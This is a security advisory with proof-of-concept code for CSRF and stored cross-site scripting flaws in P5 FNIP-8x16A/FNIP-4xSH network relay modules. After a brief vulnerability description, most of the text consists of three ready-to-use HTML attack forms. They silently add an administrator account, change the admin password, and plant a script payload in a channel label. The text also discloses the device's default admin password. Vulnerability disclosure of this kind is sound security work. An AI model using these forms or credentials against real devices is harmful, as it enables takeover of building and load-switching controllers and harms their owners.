P5 FNIP-8x16A/FNIP-4xSH CSRF Stored Cross-Site Scripting
Vendor: P5
Product web page: https://www.p5.hu
Affected version: 1.0.20, 1.0.11
Summary: The FNIP-8x16A is an eight channel relay module used
for switching any
type of load that doesn’t exceed the specifications. Via its
built-in web site
and TCP/IP communication, the outputs and inputs can be controlled
and monitored
from standard network capable devices such as computers,
smartphones, web-tablets,
etc. either locally or via the network. The module can be used
independently or
as part of a complex control system in residential and commercial
installations.
Desc: The controller suffers from CSRF and XSS vulnerabilities.
The application
allows users to perform certain actions via HTTP requests without
performing any
validity checks to verify the requests. This can be exploited to
perform certain
actions with administrative privileges if a logged-in user visits a
malicious web
site. Input passed to several GET/POST parameters is not properly
sanitised before
being returned to the user. This can be exploited to execute
arbitrary HTML and
script code in a user's browser session in context of an affected
site.
Tested on: Linux
CGI
Vulnerabiity discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2020-5564
Advisory URL:
https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5564.php
29.01.2020
-->
<!-- CSRF add admin user -->
<html>
<body>
<form action="http://192.168.1.17:83/user.cgi"
method="POST">
<input type="hidden" name="uno" value="1" /> <!-- User
number (user1) -->
<input type="hidden" name="un" value="testingus" /> <!--
Username -->
<input type="hidden" name="role" value="2" /> <!-- 2:
Admin, 1: Actor, 0: Observer -->
<input type="hidden" name="enabled" value="1" />
<input type="hidden" name="pw" value="123456" />
<input type="hidden" name="pw2" value="123456" />
<input type="submit" value="Zubmit" />
</form>
</body>
</html>
<!-- CSRF change admin password -->
<html>
<body>
<form action="http://192.168.1.17:83/user.cgi"
method="POST">
<input type="hidden" name="un" value="admin" /> <!--
Defaults: admin:futurenow -->
<input type="hidden" name="pw" value="123456" />
<input type="hidden" name="pw2" value="123456" />
<input type="submit" value="Zubmit" />
</form>
</body>
</html>
<!-- XSS modify labels -->
<html>
<body>
<form action="http://192.168.1.17:83/config.html"
method="POST">
<input type="hidden" name="lab1" value="Channel1" />
<input type="hidden" name="lab2" value="Channel2" />
<input type="hidden" name="lab3" value="Channel3" />
<input type="hidden" name="lab4"
value='"><script>confirm(251)</script>' />
<input type="hidden" name="lab12" value="etc." />
<input type="submit" value="Zubmit" />
</form>
</body>
</html>
